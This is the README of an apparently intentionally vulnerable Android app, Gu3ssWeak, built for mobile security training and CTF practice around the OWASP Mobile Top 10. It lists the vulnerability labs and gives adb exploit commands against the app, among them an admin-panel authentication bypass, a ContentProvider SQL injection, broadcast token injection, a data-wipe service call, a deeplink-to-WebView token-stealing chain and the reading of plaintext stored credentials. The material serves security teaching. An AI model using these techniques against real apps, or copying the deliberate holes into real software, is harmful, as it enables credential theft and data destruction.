用于移动安全研究和漏洞赏金练习的故意存在漏洞的 Android 应用 - OWASP Mobile Top 10
一个故意设计存在漏洞的 Android 应用程序,用于移动安全研究、漏洞赏金练习和 CTF 风格的学习。包含 21 个已记录的漏洞,映射到 OWASP Mobile Top 10。
git clone [email protected]:b4sith-sec/Gu3ssWeak.git
cd Gu3ssWeak
./gradlew assembleDebug
adb install -r app/build/outputs/apk/debug/app-debug.apk
启动应用,逐个完成每个实验,捕获 flag,并在应用内的 CTF 记分板上提交它们。
| 类别 | 漏洞 | Flags |
|---|---|---|
| WebView | WV-01 至 WV-05 | 5 |
| Deeplink | DL-01 至 DL-04, DL-CHAIN | 5 |
| Auth / SQL Injection | SQL-01 | 1 |
| Admin Panel | AP-01 至 AP-04 | 2 |
| ContentProvider | CP-01 | 1 |
| Broadcast Receiver | BR-01 至 BR-03 | 2 |
| Service | SV-01, SV-02a, SV-02b | 2 |
| Network Interception | NET-01 | 1 |
| Banking / OTP | OTP-01 | 1 |
| LFI | LFI-01 | 1 |
| Storage | STORE-01 | 1 |
| XSS | XSS-01, XSS-02 | 2 |
共 20 个 flag,另外还有一个捕获全部 flag 后授予的 master flag。
| 实验列表 | CTF 记分板 |
|---|---|
| lab |
# Admin panel - exported, no permission
adb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivity
adb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivity --ez is_authenticated true
adb shell "content query --uri content://com.gu3sswe4k.app.contacts/contacts/1 --where \"1) OR (1=1\""
# Token injection via broadcast
adb shell am broadcast -a com.gu3sswe4k.app.SEND_TOKEN --es token FAKE --es user attacker
# Data wipe via exported service
adb shell am startservice -n com.gu3sswe4k.app/.services.DataSyncService --es action wipe_user_data
# Deeplink to WebView RCE chain
adb shell am start -a android.intent.action.VIEW -d "vulndroid://settings?redirect=com.gu3sswe4k.app.activities.WebViewActivity&url=javascript:VulnBridge.stealToken()"
# Read plaintext stored credentials
adb shell run-as com.gu3sswe4k.app cat /data/data/com.gu3sswe4k.app/shared_prefs/login_prefs.xml
# Watch for logged secrets
adb logcat | grep Gu3ssWeak
本项目纯属教育目的。所有漏洞都是有意为之并已记录。此处展示的技术适用于真实应用,但请仅测试您拥有或已获授权测试的系统。完整免责声明和负责任披露指导请参见 SECURITY.md。
MIT - 参见 LICENSE。